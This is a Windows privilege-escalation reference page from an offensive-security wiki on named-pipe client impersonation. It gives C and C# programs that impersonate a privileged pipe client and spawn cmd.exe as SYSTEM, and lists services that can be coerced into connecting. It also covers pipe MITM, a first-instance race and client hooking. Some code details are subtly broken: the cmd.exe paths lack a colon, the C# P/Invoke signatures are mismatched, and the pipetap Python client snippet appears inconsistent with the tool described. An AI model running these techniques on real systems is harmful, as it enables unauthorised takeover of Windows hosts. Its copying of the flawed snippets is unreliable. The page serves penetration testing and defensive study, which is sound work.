named-pipe-client-impersonation.md (14107B)
1 --- 2 title: "Named Pipe Client Impersonation" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Named Pipe Client Impersonation 14 15 Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).<sup>[[2]](#references)</sup> 16 17 This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below. 18 19 ## TL;DR 20 - Create a named pipe: \\.\pipe\<random> and wait for a connection. 21 - Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.). 22 - Read at least one message from the pipe, then call ImpersonateNamedPipeClient. 23 - Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.<sup>[[2]](#references)</sup> 24 25 ## Requirements and key APIs 26 - Privileges typically needed by the calling process/thread: 27 - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW. 28 - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM). 29 - Core APIs used:<sup>[[1]](#references)[[4]](#references)</sup> 30 - CreateNamedPipe / ConnectNamedPipe 31 - ReadFile/WriteFile (must read at least one message before impersonation) 32 - ImpersonateNamedPipeClient and RevertToSelf 33 - OpenThreadToken, DuplicateTokenEx(TokenPrimary) 34 - CreateProcessWithTokenW or CreateProcessAsUser 35 - Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.<sup>[[3]](#references)</sup> 36 37 ## Minimal Win32 workflow (C) 38 ```c 39 // Minimal skeleton (no error handling hardening for brevity) 40 #include <windows.h> 41 #include <stdio.h> 42 43 int main(void) { 44 LPCSTR pipe = "\\\\.\\pipe\\evil"; 45 HANDLE hPipe = CreateNamedPipeA( 46 pipe, 47 PIPE_ACCESS_DUPLEX, 48 PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 49 1, 0, 0, 0, NULL); 50 51 if (hPipe == INVALID_HANDLE_VALUE) return 1; 52 53 // Wait for privileged client to connect (see Triggers section) 54 if (!ConnectNamedPipe(hPipe, NULL)) return 2; 55 56 // Read at least one message before impersonation 57 char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL); 58 59 // Impersonate the last message sender 60 if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368 61 62 // Extract and duplicate the impersonation token into a primary token 63 HANDLE impTok = NULL, priTok = NULL; 64 if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4; 65 if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5; 66 67 // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege. 68 STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0}; 69 if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY, 70 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, 71 0, NULL, NULL, &si, &pi)) { 72 // Fallback: CreateProcessAsUser after you already impersonated SYSTEM 73 CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, 74 NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 75 } 76 77 RevertToSelf(); // Restore original context 78 return 0; 79 } 80 ``` 81 Notes: 82 - If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level. 83 - Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation. 84 85 ## .NET quick example 86 In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process. 87 ```csharp 88 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics; 89 class P { 90 [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h); 91 [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p); 92 [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi); 93 static void Main(){ 94 using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1); 95 s.WaitForConnection(); 96 // Ensure client sent something so the token is available 97 s.RunAsClient(() => { 98 IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS 99 IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary 100 var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe"); 101 Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi); 102 }); 103 } 104 } 105 ``` 106 107 ## Common triggers/coercions to get SYSTEM to your pipe 108 These techniques coerce privileged services to connect to your named pipe so you can impersonate them: 109 - Print Spooler RPC trigger (PrintSpoofer) 110 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato) 111 - EFSRPC pipes (EfsPotato/SharpEfsPotato) 112 113 See detailed usage and compatibility here: 114 115 - 116 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer) 117 - 118 [Juicypotato](/hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato) 119 120 If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see: 121 122 - 123 [From High Integrity To System With Name Pipes](/hacktricks/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes) 124 - 125 [Service Triggers](/hacktricks/windows-hardening/windows-local-privilege-escalation/service-triggers) 126 127 ## Named Pipe IPC Abuse & MITM (ACLs, First-Instance Races, Client Hooking) 128 129 When a privileged service and a low-privileged process communicate over `\\.\pipe\...`, treat the pipe like any other untrusted IPC boundary. Beyond classic server-side impersonation, weak pipe ACLs, unsafe creation flags, and client-side trust decisions can all become local privilege escalation primitives.<sup>[[7]](#references)</sup> 130 131 ### Enumerate candidate pipes first 132 - List pipes quickly from PowerShell: `Get-ChildItem \\.\pipe\` 133 - Sysinternals `pipelist64.exe` is useful to spot instance counts and single-instance pipes. 134 - Prioritize names used by services running as `SYSTEM`, especially helpers, updaters, launchers, and UI brokers. 135 136 ### MITM via permissive DACLs and extra pipe instances 137 - Any process that can talk to a privileged server can already fuzz its protocol and hunt privileged verbs.<sup>[[7]](#references)</sup> 138 - The more interesting case is when the DACL grants `FILE_GENERIC_WRITE`/`GENERIC_WRITE` on the pipe object. On named pipes this implicitly includes `FILE_CREATE_PIPE_INSTANCE` (`FILE_APPEND_DATA` shares the same bit), so an attacker can create another server instance with the same name. 139 - Because instances are matched in FIFO order, attacker-created and legitimate instances can be interleaved: create a rogue instance with `CreateNamedPipe`, then open the same pipe name with `CreateFile`, and wait for a real client to land on the rogue server instance. 140 - Result: observe, modify, relay, or desynchronize privileged IPC without needing to own the original server process. 141 142 ### First-instance race on pipe security descriptors 143 - `lpSecurityAttributes` only defines the DACL when the first instance of a pipe name is created.<sup>[[4]](#references)[[7]](#references)</sup> 144 - If a privileged service starts late and does not use `FILE_FLAG_FIRST_PIPE_INSTANCE`, an attacker can pre-create the pipe name with a permissive DACL, then let the service create later instances under the attacker-chosen security context. 145 - This turns service startup into a race condition: win the first instance, then connect or MITM later clients using the weakened ACL. 146 - Mitigation for defenders, and a key review point for attackers: check whether `CreateNamedPipe(..., dwOpenMode, ...)` includes `FILE_FLAG_FIRST_PIPE_INSTANCE`. If not, test pre-creation before the service starts. 147 148 ### PID/signature checks are hardening, not a boundary 149 - Some products try to restrict access by checking `GetNamedPipeClientProcessId`, process image path, or Authenticode signer of the connecting client.<sup>[[7]](#references)</sup> 150 - This only helps until you inject into the legitimate client: once inside the trusted process, you inherit the exact PID/image/signature context the server expects. 151 - For split desktop apps, instrumenting the low-privileged UI/helper process is often easier than attacking the `SYSTEM` service directly. 152 153 ### Hook the client according to its I/O model 154 - Synchronous I/O: intercept `NtWriteFile` before the syscall consumes the buffer, and inspect/patch `NtReadFile` after it returns.<sup>[[7]](#references)</sup> 155 - Overlapped I/O: store the `OVERLAPPED`/`IoStatusBlock` seen in `NtReadFile`, then inspect the buffer after `GetOverlappedResult` or the relevant wait completes. 156 - Completion ports: `GetQueuedCompletionStatus` reaches `NtRemoveIoCompletion`; the returned `ApcContext` links back to the `OVERLAPPED` used by the original read, which is the right pivot to find the now-populated buffer. 157 - Completion routines (`ReadFileEx`): the completion callback is delivered as an APC. If you want to tamper with returned data or inject synthetic replies, hook the real completion routine and, for custom injection, use a one-argument `QueueUserAPC` dispatcher that reconstructs the routine's 3 expected arguments.<sup>[[5]](#references)[[7]](#references)</sup> 158 159 ### Tooling notes 160 - [pipetap](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/) proxies named-pipe traffic through an injected helper DLL and exposes a Burp-like workflow for editing/replay.<sup>[[6]](#references)</sup> 161 - [thats_no_pipe](https://github.com/synacktiv/thats_no_pipe) takes a Frida-based approach and focuses on hooking `NtReadFile`/`NtWriteFile` plus the async/completion pivots above, then forwarding traffic to a WebSocket-backed editing workflow.<sup>[[7]](#references)[[8]](#references)</sup> 162 163 ```bash 164 pip install pipetap 165 ``` 166 167 ```python 168 import pipetap 169 client = pipetap.Client(("127.0.0.1", 47001)) 170 client.write(b"OP\x00\x01...") 171 ``` 172 173 ### Operational considerations 174 - Named pipes are low-latency; long pauses while editing buffers can deadlock brittle services.<sup>[[7]](#references)</sup> 175 - Overlapped/completion-port/APC-driven clients need different hooks than simple `ReadFile`/`WriteFile` detours. 176 - Injection into the trusted client is noisy and generally best kept for exploit development, protocol reversing, or local lab fuzzing. 177 178 ## Troubleshooting and gotchas 179 - You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).<sup>[[1]](#references)</sup> 180 - If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).<sup>[[3]](#references)</sup> 181 - CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM. 182 - Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.<sup>[[3]](#references)</sup> 183 184 ## References 185 186 - [1] [Windows: ImpersonateNamedPipeClient documentation](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient) 187 - [2] [ired.team: Windows named pipes privilege escalation](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) 188 - [3] [Microsoft: Named Pipe Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-security-and-access-rights) 189 - [4] [Microsoft: CreateNamedPipe function](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea) 190 - [5] [Microsoft: Named Pipe Server Using Completion Routines](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines) 191 - [6] [pipetap – a Windows named pipe proxy tool](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/) 192 - [7] [Synacktiv: Hooking Windows Named Pipes](https://www.synacktiv.com/en/publications/hooking-windows-named-pipes.html) 193 - [8] [Synacktiv: thats_no_pipe](https://github.com/synacktiv/thats_no_pipe)